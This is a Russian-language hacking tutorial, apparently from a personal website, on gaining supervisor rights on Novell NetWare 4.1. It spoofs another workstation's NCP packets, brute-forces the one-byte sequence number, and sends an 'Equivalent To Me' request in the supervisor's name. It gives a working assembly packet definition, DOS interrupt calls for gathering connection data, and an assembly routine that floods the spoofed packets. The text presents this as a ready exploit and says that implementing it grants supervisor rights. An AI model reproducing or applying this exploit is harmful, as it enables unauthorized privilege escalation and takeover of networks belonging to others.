КАК ВЗЛОМАТЬ NOVELL NETWARE 4.1 или права супервизора






1.Принцип обмена пакетами
2.Общая идея взлома
3.Как получить права супервизора
4.Последствия
Заключение

Введение

Как вы знаете все может быть сломано и NOVELL NETWARE не является ис- ключением. Однако время взлома чего-нибудь зависит от времени получения информации о этом. Чем больше информации вы найдете, тем проще вам бу- дет взламывать. В этом документе мы хотели немного рассказать о сети NOVELL и о том как ее взломать.

1.Принцип обмена пакетами.

Прежде всего, сервер и рабочие станции посылают пакеты друг другу в соответствие со специальным протоколом известным как Netware Core Protocol ( NCP ) основанным на протоколе IPX. Все пакеты подписываются уникальным номером в диапозоне от 0 до 255 хранящемся в одном байте. Это поле известно как Sequence Number. Смотрите на структуру пакета.

Структура пакета
     Поле       Число  Положение                азначение
                байт   в памяти

--------------- Физический заголовок пакета ------------------

ReceiverAddress     6   Normal   Адрес рабочей станции,
                                 которая будет получать пакет
SenderAddress       6   Normal   Адрес рабочей станции, 
                                 которая посылает пакет
DataLength          2  High-Low  Длина пакета

-------------------- Заголовок протокола IPX -----------------
CheckSum            2   Normal   Контрольная сумма
IpxLength           2  High-Low  Длина пакета
HopCount            1     -      Число мостов
PacketType          1     -      Тип пакета
DestNetwork         4   Normal   Адрес сети назначения
DestNode            6   Normal   Адрес станции назначения
DestSocket          2  Low-High  Сокет программы назначения
SourceNetwork       4   Normal   Адрес сети источника
SourceNode          6   Normal   Адрес станции источника
SourceSocket        2  Low-High  Сокет программы источника

---------------------- Заголовок протокола NCP -------------------
RequestType         2  Low-High  Зависит от запроса
SequenceNumber      1     -      Номер пакета
ConectionNumberLow  1     -      Номер соединения назначается 
                                 во время подсоединения 
                                 станции к серверу
TaskNumber          1     -      номер задачи.Это для рабочей 
                                 станции наверно. е стоит о
                                 нем заботиться. Просто поставте
                                 0 или любое значение.
ConectionNumberHigh 1     -      Всегда 0.
FunctionCode        1     -      Идентификатор функции

------------------ Данные протокола NCP ------------------------
       -            -     -     Зависит от типа запроса и функции

Инициатором является станция. Она посылает пакет с запросом и ждет от- вета. Сервер получая запрос, проверяет адрес станции , адрес сети , со- кет , номер соединения и sequence number. Если что-нибудь не в порядке сервер отказывается выполнять запрашиваемую операцию и посылать ответ.

2.Общая идея взлома.

Как было сказано выше сервер проверяет все пакеты, которые он полу- чает. о если сформировать пакет как это делает другая станция, поста- вить ее адрес, номер соединения и т.д. и послать его в сеть, то сервер никогда не узнает чей запрос он выполняет. Основная трудность - sequence number, потому что другие поля могут быть получены с помощью обычных функций. Чтобы быть уверенным, что сервер выполнил операцию нужно пос- лать тот же самый пакет 255 раз с разными sequens numbers.

3.Как получить права супервизора

Вы можете получить права супервизора просто став его эквиваленитом. Есть функция известная как EQUEVALENT TO ME , которую следует посылать от имени супервизора. Смотрите на структуру пакета.

Структура пакета с фукцией EQUEVALENT TO ME

------------------- Заголовок физического пакета ---------------
RecAdr db 00,20h,0afh,4fh,5fh,0ah
SndAdr db 00,20h,0afh,089h,022h,0afh
DataLength db 01,68h
----------------------- Заголовок IPX пакета -------------------
dw 0ffffh
IpxLength db 01,67h
db 0
db 17
DestNetwork db ?,?,?,?
DestNode db ?,?,?,?,?,?
DestSocket db 04,51h
SourceNetWork db 00,00,01,02
SourceNode db ?,?,?,?,?,?
SourceSocket db 40h,03
--------------------- Заголовок пакета NCP --------------------
db 22h,22h
SequenceNumber db 48
ConnectionNumberLow db 24
db 4
db 0
db 68h
db 2
------------------------ Данные пакета NCP --------------------
dd -1
dd 514
S1_2: dd offset S1_1 - offset S1_2-4
dd 0
dd 9
dd 0
dd 0
dd 0
S1ID db 67h,02h,00,06h
dd 1
dd 5
dd 34
db 'E',0,'q',0,'u',0,'i',0,'v',0,'a',0,'l',0,'e',0
db 'n',0,'t',0,' ',0,'T',0,'o',0,' ',0,'M',0,'e',0
dd 0
dd 1
dd 26
db '3',0,'1',0,'0',0,'5',0,'.',0,'I',0,'N',0,'F',0
db '.',0,'T',0,'S',0,'U',0
S1_1:

Чтобы получить адрес, сеть, сокет, ID, номер соединения используй- те след. функции.

Получить номер соединения

ah=E3h
ds:si=> ConReq
dw 2 - длина
db 16h - подфункция
db ? - номер соединения
es:di=> ConRep
dw 62 - длина
db 4 dup (?)
dw ? - тип пользователя
db 56 duo (?) - имя пользователя
int 21h
Вы можете послать пакет через IPX драйвер (функция 9), однако в этом случае вы не имеете доступа к физическому заголовку пакета. Мы полагаем, что сервер не проверяет адрес отправителя там. Вы также можете послать через LSL драйвер, но это слишком сложно. Самый простой способ - послать через ODIPKT драйвер ( функция 4 ). Послать пакет через Odipkt

ah=4
cx=длина
ds:si=>пакет
int 60h
C=1 если ошибка
Процедура посылки пакетов

Send            proc
                mov SequenceNumber,0
@@1:            push ds
                push es
                mov ah,4
                mov cx,Length
                mov si,offset Packet
                int 60h
                pop es
                pop ds
                jc @@1
                mov cx,1000
                loop $-2
                dec SequenceNumber
                jne @@1
                ret
Send            endp

4.Последствия.

После ответа на пакет сервер ждет следующего с увеличенным на 1 sequence number"ом. Если вы попытаетесь вставить ваш пакет в работу меж- ду сервером и станцией, последняя повиснет. Этого можно избежать посыл- кой еще 255*256 пакетов.

Заключение

Если вы реализуете программу по этому документу у вас будут права супервизора. Мы надеемся, что вы не будете вредить таким же пользовате- лям, каким вы до этого были.

Назад.
Сайт создан в системе uCoz